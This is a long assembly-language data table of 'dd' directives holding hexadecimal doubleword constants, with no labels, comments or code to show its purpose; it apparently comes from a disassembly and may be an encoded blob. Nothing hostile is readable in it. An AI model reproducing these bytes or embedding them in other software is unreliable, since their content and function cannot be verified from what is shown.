		dd 9B19763h, 0F27117BBh, 40D0C4BFh, 5226BF01h, 6CA16B75h
		dd 133673CCh, 0B451E948h, 0DD5F87C5h, 8B8422EDh, 7C5D0946h
		dd 19653C4Ch, 3EB3B1A9h, 925CFE0h, 19D938F2h, 0CF5FA087h
		dd 92B7BAB2h, 8427AC92h, 37EB0F5Ah, 7714922Ch, 865A83DEh
		dd 1F1B6F22h, 0DE465BDEh, 794547CEh, 8B7F7911h,	0EE884033h
		dd 0ADFF13FCh, 53DB2A1h, 2EE95453h, 1E1DA395h, 775785C9h
		dd 2F0CA779h, 454C6D47h, 4A182265h, 504EDB05h, 92C750DCh
		dd 56B13F21h, 2838B00Bh, 33DAF8E3h, 6A03B908h, 0B067A048h
		dd 2502DCEFh, 1E555BF2h, 85661036h, 0EAE114C8h,	9DAF4EB6h
		dd 81E07F64h, 0BC8D7FB6h, 6BA84396h, 0EA41C376h, 45821F31h
		dd 5BDF315Ah, 4A8E355h,	740E2996h, 3ADA101h, 0B3033888h
		dd 0A06D8CF5h, 0A50C0037h, 99BADBBh, 83735DEFh,	0B0658C5h
		dd 0ED5EA4B2h, 6AFA04EAh, 1DEC65E5h, 0F53D1E09h, 2DE71528h
		dd 292A85F5h, 0A0C9DF82h, 15D5BFC7h, 0BC665E17h, 361A040Ch
		dd 0D2BF6344h, 0F4759831h, 0E9F12711h, 0DBD2A6A8h, 0DFEA0F17h
		dd 0F2067DECh, 16FC1E8Fh, 0FD344E7Ch, 5F5EB678h, 5A4EF210h
		dd 5E271ABDh, 0F99F2E50h, 8B1001Dh, 0F0890C4Ch,	9B3E913h
		dd 0BB35AC40h, 0BE6A82C1h, 0EDD101CFh, 4A3B7AE9h, 0C36D484Eh
		dd 175F2958h, 0ECA48372h, 31ABA530h, 28236BB3h,	369DA0E9h
		dd 93C34A8h, 0EAE10278h, 0AF80A37Bh, 100CE4EDh,	0C7E05E4Eh
		dd 13655EE9h, 779BBEFAh, 0E9F1715Eh, 2FE57F34h,	0FEFE176Fh
		dd 1C8BC6C1h, 0F5CDFC7Fh, 0C9DC2CAAh, 84638149h, 224658A1h
		dd 0C67A65E5h, 0BCABD397h, 94B5F4DBh, 5072EB49h, 0CB13D2B1h
		dd 0D7A0FBD9h, 0ED224F37h, 1E9F8666h, 8360FC61h, 0FA0895D7h
		dd 0A1F63F67h, 7F698E7Fh, 9FD0FA57h, 0D9B4CA9Ch, 84668925h
		dd 78FD3687h, 2E01AE10h, 1E09D7F7h, 15EC7D8Fh, 18D8A227h
		dd 8150C2C1h, 0E1C23A5Fh, 0BCEC4BFBh, 9DDB4EB0h, 5F3905C6h
		dd 0DC652D68h, 6489D21Bh, 904E46D7h, 53C04062h,	96685702h
		dd 0D52F5D29h, 0D6193BB1h, 36F009E6h, 5F48AB4Bh, 2394BD02h
		dd 0A0D369B6h, 5E413143h, 93E44045h, 0F0EA4A87h, 0A3316841h
		dd 0A5F74346h, 92B15D03h, 580C237Eh, 7CB0994h, 415B02EBh
		dd 2F50966h, 276C635h, 6BC1E1F6h, 84166821h, 9EEB7168h
		dd 74A94B1Dh, 0D7D5E8D2h, 0AE4E52FDh, 522905DCh, 0F82DA1C5h
		dd 87F8FDC3h, 0F8BDBA06h, 7E0504E8h, 0ABB9A4CDh, 0C35AB7A4h
		dd 2AB652CFh, 0EEE1F382h, 16D36DA0h, 89301628h,	7C079B3h
		dd 0EB8005E3h, 5CCE3EB4h, 8694F3C0h, 0D163F6CBh, 31C3FE08h
		dd 5C1C0828h, 2DFA3A28h, 54817AD0h, 0D13A8A40h,	517A63DDh
		dd 0D658566Fh, 3E91B60h, 41002D96h, 4E2EC981h, 0FA027669h
		dd 0AF681F3Eh, 36F1010Ch, 7F6F782Bh, 14BB7713h,	2D249D3Bh
		dd 32688494h, 0EE2AD828h
		dd 63552913h, 0D39141BAh, 0D82C9D1Fh, 5A17A4E1h, 0E6017CD6h
		dd 6DEEF5Fh, 211F83Eh, 2321E0C7h, 0C29F4860h, 0CBDAA909h
		dd 0B8040C7Ch, 8734782Ah, 6FD56733h, 0E9EB2921h, 0F449CA95h
		dd 0EE29EEA6h, 86E92EE6h, 0E3818031h, 4BE242DCh, 10D3F730h
		dd 7E400AC3h, 6FF31650h, 21E1003Fh, 3913E9DDh, 3EBE65B5h
		dd 8321F325h, 2C02C368h, 807CC195h, 0CB7AF3E2h,	0ED1113F2h
		dd 7C1059E3h, 5ABD05B6h, 3B80D001h, 133E3ACDh, 1455DCCh
		dd 135872F0h, 0C14A8324h, 13C6D1Ah, 0AAF92218h,	20EE01D9h
		dd 72402AA9h, 37090968h, 10031327h, 50EFCEEBh, 0E9DF89ECh
		dd 8C0DD031h, 0BD28C230h, 9878BBA7h, 7FD3C4B5h,	0F4A74BE9h
		dd 503070Bh, 4973B672h,	6DF4CF89h, 0AF7316ABh, 680A4B8Ah
		dd 648E3C35h, 0E4ACAA54h, 0DF9357E8h, 5E9EBF32h, 11032733h
		dd 0FE8410EDh, 8BA1B3F2h, 5ABC4C2Ah, 0F4525626h, 8DF08A16h
		dd 387D9D5Ch, 187EC11Ch, 0C51FD09h, 27052EB2h, 56E92975h
		dd 0F1039182h, 17052676h, 4BAF9F5h, 7E54DFA8h, 9C4085E8h
		dd 0F5E91703h, 7BC1E759h, 0D606F627h, 0C3807049h, 0B0E494Dh
		dd 2971F4E9h, 98CB0016h, 73A25Ch, 3807CE81h, 70E90EEDh
		dd 524EC6Bh, 62E8E555h,	323DF305h, 57D1C06Ch, 0A5E823Ah
		dd 0F55ED809h, 0F66F2E51h, 0E0FF4604h, 0AEACB605h, 44EC9AA1h
		dd 0E87CBE0Ch, 0ABE8C9D3h, 8980D785h, 416EEECAh, 0BB097B24h
		dd 4B5ED838h, 9381F25Bh, 0AEE671FAh, 136867DDh,	0E4D189CAh
		dd 810048F2h, 1EE0A7EAh, 4EE395Bh, 0C35FF971h, 14881F6Eh
		dd 32DE412Ch, 0B57E3F50h, 401600A5h, 641C68C0h,	5D5D7079h
		dd 3AB2509Fh, 4EB80402h, 0FE2115E9h, 0D126B98Dh, 7B34829Dh
		dd 82803F32h, 78F31895h, 0F125E97Ah, 0AD1157FEh, 4C322F07h
		dd 10C35688h, 0C1800F66h, 3D24044Ah, 4B108ABAh,	7B8E71BFh
		dd 5C8C6B92h, 0F4E241D8h, 78D2E4B8h, 0CE077EF9h, 60667C75h
		dd 142728C3h, 10EE635Eh, 445E08F7h, 19C85B84h, 4C210278h
		dd 96B7BD11h, 487D7D9h,	3FF2EF80h, 82B697ECh, 10F92837h
		dd 0DFB75353h, 335B0E0Fh, 840E2452h, 8DEA64ACh,	0F1C561E2h
		dd 393B4E7h, 6DBB0905h,	0BE00EEC1h, 474559F6h, 1C0CCE31h
		dd 687BC4C0h, 0F299387Eh, 82B589AFh, 0F2170B4Bh, 9993985Ah
		dd 6EC70882h, 0EA2C5C26h, 0F5FA2892h, 5B7EECB2h, 5CB816D3h
		dd 1FCB9540h, 8A671E3Dh, 83FA1726h, 76BA52DFh, 6A463EE1h
		dd 0F8DE1EE5h, 0EBD0D328h, 31485BCAh, 4F3EEF10h, 0C13449BAh
		dd 0CD562077h, 580E03DDh, 4510DD4Fh, 0AD582754h, 0D60008D6h
		dd 5843AEB4h, 0F25638Ch, 5C42EC7Ch, 3BC4F566h, 0FEE3B912h
		dd 688387A8h, 0FD107FE6h, 5F098E99h, 8FDC5401h,	65195860h
		dd 9CD997Bh, 287480E9h,	2D2F12BBh, 8B9F54F3h, 0C4FDF56Fh
		dd 0D8D9B7CAh, 0D8A6325Bh, 707735E7h, 5CB3B877h, 77119250h
		dd 3DFB4B3Ch, 58F22FFBh, 5C169192h, 43302AEBh, 7D90E110h
		dd 9275B11h, 13FD5A21h,	6C3FD9D0h, 8402E23Eh, 0B9160116h
		dd 42832754h, 58867657h, 93025DAFh, 0FE9477Ah, 813054E5h
		dd 622CAC5h, 0C7427A01h, 40BA7CA0h, 1ADEEA68h, 180E3036h
		dd 0E978485Fh, 0FE504B54h, 0A5A66037h, 59BE077Dh, 0A2725C54h
		dd 1355795Eh, 0C806C282h, 3B65263h, 40B1510Ch, 0E22DE180h
		dd 5A1987BBh, 2F6C032h,	0FC5DE6EBh, 589580Bh, 47D3799Fh
		dd 0A87BFBEDh, 8A808112h, 9685658h, 3E640B0Fh, 0E27C7790h
		dd 939374D2h, 0B6A15A20h, 9392016Fh, 57E9FB87h,	0ABF2C52Fh
		dd 0E9A180E2h, 95166B3Ah, 5E6A1040h, 69BF117Ch,	840B0B6Eh
		dd 0BA4AFB50h, 0D44584BFh, 8A61EB79h, 322B5D9Ch, 4BD94069h
		dd 0E29FE98Bh, 0B2FDB92h, 44F53B4Bh, 0F4F2A05h,	0BFF15E99h
		dd 0D4BE3C12h, 5B2CEA15h, 163C32E9h, 9BFD6C35h,	5C47E912h
		dd 0F53AC049h, 75D12262h, 5B580640h, 0E1531589h, 478F5D0Ch
		dd 0D995DDC2h, 0A539285h, 0AD976D00h, 98B47BD0h, 33FDE00Eh
		dd 2FE9DAE0h, 0BD73CAD4h, 0AF33BFBDh, 68C369FEh, 0E32F7ECDh
		dd 75EADA10h, 2C1F43C7h, 8441B6EFh, 0C4F14AABh,	1CE856Ah
		dd 0E1C05860h, 2F95F407h, 0B0DEE69Ah, 1624E40Eh, 2DF69CEAh
		dd 3EE9198Eh, 70E7C3FCh, 7F9709D0h, 6817DDB4h, 45643C38h
		dd 0CFBDAFD1h, 38668004h, 36486B6Dh, 1359053Ch,	12AF2561h
		dd 5AFDFC8Fh, 8DD13F0h,	1B32E7Fh, 8B0AED24h, 25022232h
		dd 0C0E7FA56h, 307FFB6Bh, 0D8181986h, 50979967h, 5C7609E0h
		dd 0A8DD0452h, 4624086Eh, 0D6E0C60Dh, 130D1E3Bh, 5D10491Ch
		dd 0A32774FAh, 2556E43Bh, 930912E9h, 46AF1A65h,	9B68126Dh
		dd 5FEAE33Fh, 62483FF9h, 0BFB85017h, 0BF3605C6h, 0E925D97Ah
		dd 93CEF41Ah, 9464EAF3h, 0C9EE8485h, 0CFE9D824h, 0D8E38C4Bh
		dd 0B6B1707h, 3A09DF2Bh, 3A025413h, 2AE4E1EAh, 0D2F15536h
		dd 78032560h, 5080B42h,	81A3B801h, 8D3BF6D6h, 4CDABCD8h
		dd 0E5B7A7DCh, 0E4A0B01Bh, 159895F4h, 9824D98h,	0B4985DEh
		dd 8807BFB8h, 295A59CFh, 0BABC5DDh, 0C02356E9h,	0ADB9F531h
		dd 0D6334803h, 873C8E42h, 2EDFE218h, 86A18357h,	0A5496B01h
		dd 75C25813h, 9FC8E0B1h, 0DC4B1CE4h, 0A24AF2FDh, 49BE358Eh
		dd 89A8E2ABh, 701E9A66h, 0F965B7E9h, 683EEDA0h,	48598673h
		dd 0BD0D632Dh, 80E320C8h, 0EABAF788h, 4B555CD7h, 1252A24Eh
		dd 62C8D9A1h, 49EC2768h, 0D527DE53h, 0AF40F460h, 496364Ch
		dd 506E7B25h, 68EC05EEh, 3041A213h, 3C2E2E5Ch, 176B9E3Fh
		dd 7614BDF8h, 2EE8044Ah, 47E9FBB2h, 0F0416B49h,	0BFCEFA26h
		dd 528EE07Ah, 0C5B9774Ah, 0CAE259C8h, 2D26D37Ch, 320946ECh
		dd 0F619125Eh, 49A68436h, 0D2C3BFFAh, 8018F16h,	0EE3AD701h
		dd 5F29682Ch, 0C413E974h, 37F9FC48h, 5E49E94Fh,	0FFBD52EFh
		dd 94C4C0B2h, 0F20392B1h, 13FBD6Ch, 940399CAh, 0C704D1Eh
		dd 0C97A9BF4h, 13DE7284h, 0DBDEE7BCh, 68D9C4A0h, 4C77EE54h
		dd 0D25B161Bh, 7F4EFE74h, 5C24D0C4h, 0AB85139Ch, 0EC7BFB8Dh
		dd 0A3FFB5A8h, 0FD2577D2h, 2D80C6FEh, 0B2E66470h, 62148D5Eh
		dd 63160053h, 5759257Bh, 5550010Ah, 0A60967BDh,	5A54CE71h
		dd 0D673CB00h, 0B0D8F712h, 456B006Ah, 14053DD0h, 2B4F8D67h
		dd 70128E1h, 0B93E095Fh, 4EF04BF3h, 25A3B4BFh, 0D6FA8C94h
		dd 0CD4D5CB6h, 0DFA230ECh, 0BE1DE16h, 30D7670Ch, 17EF732h
		dd 4757B86Ch, 7B3E15E9h, 6B7BA1F7h, 827D1793h, 0A0F470FDh
		dd 7FA7E6CDh, 516200FBh, 2A3F6852h, 30903392h, 710FF202h
		dd 0E2891042h, 0C7AFD71h, 0A323FAC2h, 0DDBE62F6h, 38325F41h
		dd 0B85E0239h, 697185C3h, 637C5B95h, 7A56614Fh,	275F406Ah
		dd 514CC42Fh, 0C460416h, 10D386C2h, 6E5C6089h, 7FFA4879h
		dd 55F2055Ah, 0FACF9F13h, 0F0210731h, 21D38F77h, 0D6F4663h
		dd 9C7C5020h, 76E1631Eh, 84C79F01h, 2906165Ah, 0ABF2A02Bh
		dd 8FC50764h, 0BF5E68ACh, 801C1668h, 0B74BE9E3h, 0C130FE87h
		dd 0B728ED49h, 67FEE344h, 411DF796h, 0F6427393h, 0D61CF368h
		dd 4B8B679Ch, 96201464h, 13AEE6B8h, 1E40F77Fh, 494E9267h
		dd 0A58BF3E1h, 11CE90D5h, 10599D18h, 0FB5DEB42h, 58C30990h
		dd 0AF077B5Fh, 5972C87Eh, 0C0EF494Ch, 0D3F7E90Fh, 6C240046h
		dd 93E02715h, 29DB9C55h, 0BCB3DC7Ch, 0A0891D25h, 91EDAAFCh
		dd 66F0CB04h, 31C905Eh,	5B461C9Ah, 0CF1FE21h, 8BB32EEDh
		dd 68FD5D79h, 0D2E58101h
		dd 403CA454h, 91133187h, 89254D00h, 3578AE36h, 0FA3824BEh
		dd 0FD2E15B2h, 323C294Eh, 54871653h, 0AF4174AAh, 4B1D77ADh
		dd 927E7C87h, 9FFD9A26h, 15022360h, 5DA583B4h, 0ED580004h
		dd 0DBA4A96h, 0D1505E0Fh, 3BA36E03h, 9E10FE4Eh,	12FF5B08h
		dd 57CCD06Dh, 226084E9h, 6F38F6F3h, 89632694h, 59DFA1F7h
		dd 5D403BD5h, 0A60A94CBh, 13F3EC0Dh, 2BF1BDFh, 0A32EB784h
		dd 12203A60h, 3877C2E1h, 0F57868B0h, 39BF518Fh,	0FE7465FCh
		dd 256F52C9h, 38E16866h, 57132AE6h, 21E1DAF9h, 4A7A92D0h
		dd 802AA1E1h, 0BF78063h, 8B9719F6h, 4C2189BAh, 9CA29513h
		dd 45462954h, 1D9443F0h, 55685904h, 248BA3FBh, 0AFAD4566h
		dd 4C8C263Dh, 0C138312Eh, 62DB1E4Eh, 54B3D81h, 0EF01AB5Ah
		dd 1E0865AEh, 269C8789h, 55E20A1h, 0AC027C7Eh, 5C9B2D38h
		dd 0F8E1E184h, 94078FF2h, 13094911h, 1A915456h,	0A83BF176h
		dd 12DE8454h, 5DD908D2h, 0D45B3F16h, 0E66ED1B1h, 0C829C805h
		dd 445D4280h, 0EB8C07EBh, 377CABFDh, 0A7F7E321h, 65507073h
		dd 0ADC7F901h, 520977E9h, 0FCCD255Bh, 0B25D3052h, 0C7680918h
		dd 0C17C9B4Dh, 313B09E4h, 57FDF14h, 3905B3B8h, 8701BC1Bh
		dd 8548E1Ah, 0ABE0C60h,	60C963F3h, 0BD7E4127h, 4863FFFEh
		dd 3B4372D1h, 40C91B98h, 5309B86Ah, 7790A2E3h, 84311004h
		dd 0D13BE42Eh, 6C93FE9h, 6D3A987Eh, 0ECA34A5Ah,	8D363C09h
		dd 7700575Ch, 0E96F121Eh, 0D45E5340h, 45FD6805h, 2A7CC109h
		dd 9A3996h, 42DD0CA6h, 3D7DCF81h, 0D8E0F436h, 343A26E4h
		dd 97217895h, 0F0ED7070h, 0F8611BE9h, 97C3803Eh, 0D387FC6Fh
		dd 0E8430BDh, 0FFB81378h, 0A5CB4626h, 5BCB05D5h, 4B1A9DB0h
		dd 16D4E9DBh, 88FFCA97h, 49B77FBCh, 0B141545Fh,	892A9136h
		dd 3D3430F8h, 104FBFEAh, 0A2409BEDh, 5D909856h,	0EB97FE28h
		dd 0D2F12B52h, 0A8CFC53Bh, 5D08D265h, 0E208863Ah, 93277066h
		dd 920D5941h, 0C1ECF095h, 35EF31E9h, 68ACE090h,	9BA3914Bh
		dd 9C92503Fh, 0B6EE527Eh, 0CBF92659h, 0C744C0A7h, 71E66228h
		dd 5FDA51CFh, 0FE2FEB27h, 1014516Dh, 80FED921h,	3D182DC1h
		dd 920C286Ch, 7672F78h,	0CC270140h, 63836D3Bh, 0D908E1B4h
		dd 97BDD245h, 12C907BFh, 0BDBBF04Ah, 0B7FEBFh, 3E7FB02Dh
		dd 0E8282979h, 50BD0705h, 5771BDDAh, 0C182CDCFh, 5A76506Dh
		dd 4C8E2F84h, 6AA884B0h, 0CEDD3104h, 1F61228h, 40F775F4h
		dd 1F1EBE4Ah, 5DA79080h, 0C9EB8684h, 0D1A26AF9h, 0E188BBA4h
		dd 35EB0468h, 0C45F1741h, 7CA2AA4Ah, 685AD180h,	0EE863DE9h
		dd 436C6329h, 57107BD2h, 47258ECFh, 0C30F3372h,	3F62E85Ah
		dd 0A4E48DCBh, 36444416h, 57EB402Dh, 25413A15h,	875AE3D1h
		dd 0F6987E3Dh, 0DF86E909h, 4B92FCFEh, 51D760FDh, 0E3DCBFB9h
		dd 0F7591C32h, 27E3C6F9h, 0CB81346Fh, 8B4FA5Eh,	0CD0D62E7h
		dd 7054225Eh, 692FE950h, 5603190Fh, 3104ADE1h, 4DF61784h
		dd 0EAF919C3h, 0BBAF5E9Dh, 0D056B40Ch, 77401F7Ah, 0FD8AA066h
		dd 0C5CDFF99h, 70F52B80h, 68394F2Fh, 46721227h,	0F95659EDh
		dd 942A05Ah, 9287E2Ch, 0D85108h, 685366ACh, 19972231h
		dd 0B42E4B6Bh, 0CA09808Ch, 0C391E99Ah, 63F1C1FBh, 162B7AE1h
		dd 0E1DBA919h, 307CF8E9h, 2296BA00h, 0D58946FAh, 83B2ACF8h
		dd 15EE51F0h, 0D52F429Ch, 0E90BA215h, 0B139CB05h, 0B5D7BF7Bh
		dd 5BD3DEEFh, 2CBD01FBh, 0F7E8284Ah, 5E3F5A7h, 0B98A39DFh
		dd 7368B0AAh, 8649CA38h, 0F96BA7C5h, 840AF1C9h,	0E58681Ch
		dd 5CA5CFBBh, 55512789h, 0CCEA92B4h, 5A0DDA5Dh,	0BE5BA3E8h
		dd 75061F12h, 0FA7B432Bh, 638A1ECEh, 12DEA8E8h,	0A0F829C4h
		dd 4E41C686h, 2C18B06Ah, 122CE1Dh, 8A17DBCh, 0BAF87F5Dh
		dd 6E551BB1h, 878A291h,	8CBA0D80h, 0D1660D7Dh, 0C0AD895h
		dd 4B19791Bh, 3D3FF1Ch,	33227EB8h, 50A3F6BFh, 0C63247BEh
		dd 0F23DE8BAh, 31D97737h, 0C14522ADh, 0DF183858h, 0DFD5428Fh
		dd 787BDEE5h, 1284B850h, 0B7B12DE9h, 0C32816AAh, 80641B01h
		dd 0E3C11DEBh, 0E951D7D7h, 0E23FD7A7h, 87B08569h, 5A6A0Bh
		dd 6E7858FAh, 4F68FC3Dh, 0A167FAD8h, 0D8BB59A5h, 0C4BB36Eh
		dd 30B1C9FAh, 9003F14h,	0E5815862h, 9FC79E0h, 0B5E94565h
		dd 32B50350h, 0C581A8CDh, 5C186F0Dh, 0BE04B07Bh, 2563D559h
		dd 0B03CD4EFh, 6354850Ch, 0CBF6444Bh, 756BE90Bh, 0CEC4B82Eh
		dd 0F3E190CCh, 0DC58887Fh, 0B0FEB317h, 90E8B252h, 800291FEh
		dd 0D42876F2h, 0EC78D05Ah, 0CF12F428h, 0B92A1641h, 7521582h
		dd 0D85A8B85h, 17BA7F28h, 1344616Fh, 0C0B71C05h, 94066EF9h
		dd 9D4F1DE9h, 41821DA4h, 50006E3Bh, 0C58008E5h,	9A63BD1Dh
		dd 0E949CBB0h, 0E759C868h, 2D4ABDBEh, 2BDBC24Ch, 0C15D53A1h
		dd 7EAE6EE9h, 2779D0B3h, 58C84273h, 0F7828076h,	0F967550h
		dd 63F61F0Bh, 0FC08B2E3h, 167425B0h, 96CF31C3h,	3B681609h
		dd 8791E30Ch, 4C7D80E9h, 2E50820h, 67B621E7h, 3940DDF7h
		dd 492DDE1Fh, 7051C298h, 6AB09F0Ah, 0F1881F8Bh,	5D451211h
		dd 3B24EF0Bh, 8F003595h, 27E64978h, 62E00225h, 0BCE907ECh
		dd 0F92DFBDCh, 0E1F740CBh, 695EA468h, 0A060EB8Dh, 0E9D44181h
		dd 0C0983BE5h, 0B3594ACDh, 0B7EAD3A0h, 0E1445AEEh, 0D31E0338h
		dd 909DFAC8h, 75C5042Ah, 0C45F0E93h, 0D695B98Eh, 5BF8ADC2h
		dd 54E7A7B5h, 772691ACh, 7D7CADh, 8D3FA005h, 0D9023562h
		dd 0E94B9545h, 96615828h, 0BF007A65h, 379B1807h, 5BD80907h
		dd 4E60F80Dh, 0BE0C112h, 176C6808h, 3BE9A9E6h, 7CB2F807h
		dd 4C219E73h, 909C04Bh,	0A9D53E6Eh, 5024810Eh, 0C96481Ch
		dd 0E60F3001h, 7D15D2B8h, 0EB4CA29h, 53480FD3h,	840AAA9h
		dd 125F975Ah, 58FE8B83h, 0E6F19D02h, 555F8DC2h,	348B3171h
		dd 0A1836EAEh, 0ABF910BEh, 0C263402Fh, 10E44F5h, 203C249Dh
		dd 2941D081h, 6814F638h, 4000B7DAh, 0B65CF725h,	4F00352Ch
		dd 56F221Ah, 4B1E5486h,	0F8E31255h, 0F32113F5h,	0EC7264EBh
		dd 0F402B7A8h, 5A9F76FEh, 1D2C7860h, 0DC39452Dh, 7E170094h
		dd 0E953343Bh, 1607EF27h, 0CB5550A9h, 6A7C9541h, 394A6841h
		dd 531A33Bh, 175D44CCh,	2E1EDD90h, 41322D1Fh, 0FBD08DEh
		dd 61ABA2A0h, 4859C889h, 0F6F21F1h, 0E7EC47D7h,	43DF726h
		dd 1591D080h, 4176C59Ah, 81DFF5EAh, 489ADA09h, 2E61EC68h
		dd 17D4C90h, 58844835h,	0D568D929h, 63346A70h, 0B2EB0F25h
		dd 0A05FCA84h, 5D066489h, 73B0EE98h, 98957597h,	99617D0Dh
		dd 763A4834h, 90E12E7Ah, 7C13A0h, 0F56C9942h, 0CD7A092Ch
		dd 0DFFD912Fh, 6FFCA629h, 4685FA12h, 8874ED04h,	756B61BBh
		dd 96540C0Eh, 52E4489h,	0F112F028h, 98182DD1h, 0DFC29581h
		dd 428703FAh, 5F0502F5h, 542A201h, 24800BC5h, 2A4C53A4h
		dd 0E7CB17E9h, 123AD7BFh, 900D785Dh, 4A549D5Bh,	5BA0011Fh
		dd 858CB85Dh, 8FC961A2h, 4C29D648h, 283159D6h, 0E8D5EF97h
		dd 1926C4Dh, 800506CFh,	9FCF06C7h, 4BF0B746h, 56315A2Fh
		dd 1F415A4Eh, 468630Eh,	7F6D6857h, 0E9C231A3h, 0D174E8E0h
		dd 0A2BF8F64h, 18E248AFh, 0BE225D25h, 4C6B0963h, 5AF74E29h
		dd 5B5A7877h, 0B7EB49FEh, 0D97DA8E2h, 5471EB2Fh, 34C96805h
		dd 9A848FEDh, 0CB810038h, 1F746242h, 0E5E3C11Fh, 0F80BCEDAh
		dd 9C96F4Bh, 7FCF42FAh,	63C981CBh, 0DD0F6420h, 0EE2C5B4Ah
		dd 48FBE893h, 793FFD72h
		dd 0EB7BE292h, 427D3A0h, 0E9707F40h, 4A73D25Eh,	0D7AC6BF7h
		dd 0A4ABD564h, 681D66F5h, 0CD305D67h, 0D6D10CE9h, 49CEFA8Eh
		dd 23E98C61h, 0E22A64E5h, 17F065Ch, 4684F281h, 88284FB2h
		dd 0D3276812h, 33994BD2h, 5C72AA3h, 0F523EBE2h,	0E00B12E5h
		dd 78BBF513h, 78F6E5D9h, 9369C4B9h, 165FD5CAh, 641CEF09h
		dd 93342828h, 61EE3AD2h, 0A7D64B4Fh, 98A5016h, 7BAE44F2h
		dd 2A8B46DFh, 0C7CB56E9h, 0A2545511h, 3DB23B8Fh, 2AC27680h
		dd 176240Fh, 8888B90h, 5BD85AD7h, 89042EF6h, 13BB2EEDh
		dd 4C641F10h, 0E695DDE3h, 0B779F00Ah, 0C02EE15h, 0C2102708h
		dd 77631238h, 820634Ch,	30E4B056h, 0C56509ABh, 0EC74B269h
		dd 713E295Ch, 0FC13C1F4h, 0CFF745Eh, 0BB74D06Ch, 18268305h
		dd 0D4004B45h, 8B3C74EBh, 0F70CC235h, 4055FC68h, 2E967726h
		dd 401B688h, 0BED6D5E9h, 76DA0149h, 42E787E9h, 6025C75Ch
		dd 0DF0801CFh, 0BB533B00h, 1F72265Fh, 2158C343h, 0EFF5731Ah
		dd 78448C4h, 8B929FE2h,	0E82924D5h, 4BCFB743h, 4A90FDC0h
		dd 0FEDEC5FFh, 0A290E92Dh, 94680E59h, 35290Eh, 3911F66Dh
		dd 89671398h, 0FFCE0BF7h, 825907C2h, 0C0EDA7BDh, 16C4BF23h
		dd 0E9757B74h, 0F558C93Ch, 36BEED90h, 81422700h, 0CD02EACAh
		dd 9909051h, 55F16EE9h,	9F03E7D8h, 0F7155642h, 2362EDBh
		dd 17D224A3h, 81F75EA1h, 3E0F59A5h, 19E5E451h, 910E217h
		dd 15C28645h, 5FC97C1h,	21AC8h,	0D4BE567Ah, 2942A649h
		dd 4C5EF02Eh, 280A0514h, 259A152Dh, 23155D95h, 0E966CDA1h
		dd 5BA4CB26h, 0C4091879h, 0FD298702h, 0B1163128h, 82E87A3Ah
		dd 943DEA7Dh, 72256FAEh, 517D8C3Ch, 0F68AB109h,	1CD876D9h
		dd 0F0CBA0E4h, 0F9627DC7h, 0A985AC89h, 2F5EC928h, 185E494h
		dd 98BF3AFh, 0F2EEE9F5h, 4DC5005Ch, 5EA1203h, 9527591Ch
		dd 81485878h, 10A55D07h, 0D72FB660h, 0E558C1FEh, 63F51F5Eh
		dd 4507C507h, 306EDA3h,	1BDCE850h, 0C2AC011Ch, 517F5C61h
		dd 3BA73C74h, 39BDD180h, 2D6E8A06h, 40FCB350h, 745DE104h
		dd 86A2875Bh, 0E6483DC9h, 0BD111359h, 85C4D9E8h, 0DD290741h
		dd 0FEF2E7F1h, 2877797Eh, 0DF4C644Fh, 9B374EF1h, 1DAD583Eh
		dd 3A82C28Fh, 0FFEC4968h, 8A9E5CBDh, 3ACDA01h, 7D53D85h
		dd 4D47ADB5h, 5FF6023Bh, 7D28B341h, 0C9555801h,	0E60C8F36h
		dd 29CE02D3h, 9FF4C5F2h, 2DC2165Bh, 85E92E71h, 10F35E74h
		dd 5510A7C3h, 0EEC1032Dh, 0C5526805h, 0A9515822h, 0B08F4B7h
		dd 1CD50710h, 47B1076Ch, 3246F180h, 6155E2EBh, 176F3973h
		dd 6DBC61B9h, 0DAA07CDAh, 25805F19h, 38FA1772h,	3BA9DEA0h
		dd 87481D06h, 90064FF9h, 0CBAB09B8h, 64DDADFAh,	0BA53D5Fh
		dd 88B260Bh, 0F008DDD3h, 2D4EA64Ah, 0DBD989FDh,	15E90F35h
		dd 3FC127D9h, 101818ADh, 55F61712h, 0B51F1C7Ch,	6B49F731h
		dd 3296771Ah, 0D08295ACh, 2D46E7D7h, 57553AF5h,	0E943887Ch
		dd 2CBBA58Bh, 0BF0B575Bh, 875529EBh, 0DF24D73Fh, 0F32B8FAh
		dd 0D22A94F2h, 59E963F0h, 4097B77Ch, 2D13C549h,	0FF95292Eh
		dd 0C0BD99Ah, 96F70910h, 2B55180h, 8DC580E3h, 6771EE30h
		dd 0FA3ED09Eh, 172CB714h, 3521308Ah, 25127B68h,	72804B43h
		dd 1B9967B2h, 0DDCB893Ch, 0FE0E12C9h, 0C7EB0D40h, 0BA8DC897h
		dd 2384B5CFh, 8FD110E3h, 5D974955h, 0BFC4AB9Ah,	0F0C5405Fh
		dd 52991FBBh, 0AF72572Bh, 0C67750Bh, 95EB86FDh,	0E3080957h
		dd 0C3D8969h, 8325E03Bh, 0CB7E74Eh, 572EA958h, 0E368504Eh
		dd 880D364Dh, 59CF4202h, 0C9B7D1F5h, 0B982E912h, 71F7D943h
		dd 0E9CC692Dh, 8C0A72Ch, 0D40289ACh, 0FD798212h, 2708CAA8h
		dd 7200047Eh, 0E96A056Dh, 202841E6h, 2516F6B8h,	0C6AD416Eh
		dd 0E5126500h, 36E94D23h, 0BE681960h, 7ADD43F8h, 972F7A3Eh
		dd 54E9CED1h, 0E65DFAA2h, 0CF8825DEh, 1B62595Ch, 28CE8EAh
		dd 2C260B5Bh, 0B8DD5C29h, 0B4BAE93Bh, 0C6163C99h, 89C9AC01h
		dd 0C01AF559h, 0DC4A7C74h, 80070710h, 9259A0EFh, 0A87FF2FCh
		dd 55278D97h, 8A29D007h, 2F8108Fh, 0B05FCA25h, 0DA07D51Bh
		dd 60FF1948h, 5EF5E909h, 752D9682h, 4F68020Ah, 0D193CD54h
		dd 0E26F7CE1h, 7084A2F5h, 0D8882543h, 0CBEA93F0h, 0E38C8BEFh
		dd 0AC98DF91h, 0AD803F22h, 42680657h, 6E21581Dh, 0A660D641h
		dd 2759B136h, 0FAC3AFC1h, 6C62665Fh, 53886EBBh,	5167490h
		dd 90EB673Ah, 0F6571CA3h, 54296E13h, 0C130064h,	5A24858Ah
		dd 214A0225h, 1D4031EDh, 0D69F413Bh, 3433C205h,	7C69C107h
		dd 958F6948h, 0F681DF88h, 0FA27507Bh, 0FEF289F0h, 25B9F59h
		dd 0E632EA24h, 0FB6800EFh, 52578043h, 0DAF7174Ch, 6B85FA01h
		dd 0F3F8117Bh, 0A1B0419h, 0E107E96Dh, 0F0B83F17h, 0D1F9EBB4h
